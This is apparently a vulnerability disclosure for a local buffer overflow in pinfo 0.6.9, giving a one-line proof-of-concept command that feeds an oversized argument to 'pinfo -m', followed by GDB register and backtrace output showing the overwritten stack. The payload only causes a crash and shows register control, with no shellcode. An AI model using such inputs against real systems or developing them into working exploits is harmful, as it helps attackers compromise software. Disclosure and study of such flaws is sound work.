139 lines
No EOL
4.1 KiB
Text
139 lines
No EOL
4.1 KiB
Text
# Title: pinfo v0.6.9 - Local Buffer Overflow
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# Author: Nassim Asrir
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# Researcher at: Henceforth
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# Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
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# CVE: N/A
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# Download #
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$ apt-get install pinfo
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# POC #
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For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/
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$ pinfo -m `python -c 'print "A"*600'`
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Przemek's Info Viewer v0.6.9
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Looking for man page...
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Caught signal 11, bye!
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Segmentation fault
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# GDB Output #
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$ gdb pinfo
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(gdb) r -m `python -c 'print "A"*600'`
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Program received signal SIGSEGV, Segmentation fault.
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__GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
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84 getenv.c: No such file or directory.
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(gdb) info registers
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rax 0x54 84
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rbx 0x4141414141414141 4702111234474983745 <====
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rcx 0x1a8 424
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rdx 0x10 16
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rsi 0x7fffffffdaae 140737488345774
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rdi 0x7ffff79831a8 140737347334568
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rbp 0x7fffffffe0a8 0x7fffffffe0a8
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rsp 0x7fffffffda90 0x7fffffffda90
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r8 0x0 0
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r9 0x20 32
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r10 0x1ec 492
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r11 0x7ffff796c630 140737347241520
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r12 0x4554 17748
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r13 0x4 4
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r14 0x2 2
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r15 0x7ffff79831aa 140737347334570
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rip 0x7ffff73c911d 0x7ffff73c911d <__GI_getenv+173>
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eflags 0x10206 [ PF IF RF ]
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cs 0x33 51
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ss 0x2b 43
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ds 0x0 0
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es 0x0 0
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fs 0x0 0
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gs 0x0 0
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(gdb) where
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#0 __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
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#1 0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5
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#2 0x000055555556214a in ?? ()
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#3 0x000055555555f165 in ?? ()
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#4 0x0000555555557552 in ?? ()
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#5 0x4141414141414141 in ?? ()
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#6 0x4141414141414141 in ?? ()
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#7 0x4141414141414141 in ?? ()
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#8 0x4141414141414141 in ?? ()
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#9 0x4141414141414141 in ?? ()
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#10 0x4141414141414141 in ?? ()
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#11 0x4141414141414141 in ?? ()
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#12 0x4141414141414141 in ?? ()
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#13 0x4141414141414141 in ?? ()
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#14 0x4141414141414141 in ?? ()
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#15 0x4141414141414141 in ?? ()
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#16 0x4141414141414141 in ?? ()
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#17 0x4141414141414141 in ?? ()
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#18 0x4141414141414141 in ?? ()
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#19 0x4141414141414141 in ?? ()
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#20 0x4141414141414141 in ?? ()
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#21 0x4141414141414141 in ?? ()
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#22 0x4141414141414141 in ?? ()
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#23 0x4141414141414141 in ?? ()
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#24 0x4141414141414141 in ?? ()
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#25 0x4141414141414141 in ?? ()
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#26 0x4141414141414141 in ?? ()
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#27 0x4141414141414141 in ?? ()
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#28 0x4141414141414141 in ?? ()
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#29 0x4141414141414141 in ?? ()
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#30 0x4141414141414141 in ?? ()
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#31 0x4141414141414141 in ?? ()
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#32 0x4141414141414141 in ?? ()
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#33 0x4141414141414141 in ?? ()
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#34 0x4141414141414141 in ?? ()
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#35 0x4141414141414141 in ?? ()
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#36 0x4141414141414141 in ?? ()
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#37 0x4141414141414141 in ?? ()
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#38 0x4141414141414141 in ?? ()
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#39 0x4141414141414141 in ?? ()
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#40 0x4141414141414141 in ?? ()
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#41 0x00007fffffff0020 in ?? ()
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#42 0x00007fffffffebaa in ?? ()
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---Type <return> to continue, or q <return> to quit---
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#43 0x00007fffffffebc2 in ?? ()
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#44 0x00007fffffffebd6 in ?? ()
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#45 0x00007fffffffebe1 in ?? ()
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#46 0x00007fffffffec07 in ?? ()
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#47 0x00007fffffffec18 in ?? ()
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#48 0x00007fffffffec48 in ?? ()
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#49 0x00007fffffffec52 in ?? ()
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#50 0x00007fffffffec73 in ?? ()
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#51 0x00007fffffffec7d in ?? ()
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#52 0x00007fffffffec86 in ?? ()
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#53 0x00007fffffffec91 in ?? ()
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#54 0x00007fffffffeca4 in ?? ()
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#55 0x00007fffffffecb7 in ?? ()
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#56 0x00007fffffffeccc in ?? ()
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#57 0x00007fffffffed08 in ?? ()
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#58 0x00007fffffffed33 in ?? ()
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#59 0x00007fffffffed58 in ?? ()
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#60 0x00007fffffffed63 in ?? ()
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#61 0x00007fffffffed74 in ?? ()
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#62 0x00007fffffffed84 in ?? ()
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#63 0x00007fffffffed8f in ?? ()
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#64 0x00007fffffffedc3 in ?? ()
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#65 0x00007fffffffeddc in ?? ()
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#66 0x00007fffffffee0d in ?? ()
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#67 0x00007fffffffee30 in ?? ()
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#68 0x00007fffffffee3f in ?? ()
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#69 0x00007fffffffee47 in ?? ()
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#70 0x00007fffffffee59 in ?? ()
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#71 0x00007fffffffee75 in ?? ()
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#72 0x00007fffffffee82 in ?? ()
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#73 0x00007fffffffeeb5 in ?? ()
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#74 0x00007fffffffeed1 in ?? ()
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#75 0x00007fffffffeeee in ?? ()
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#76 0x00007fffffffef28 in ?? ()
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#77 0x00007fffffffef97 in ?? ()
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#78 0x0000000000000000 in ?? () |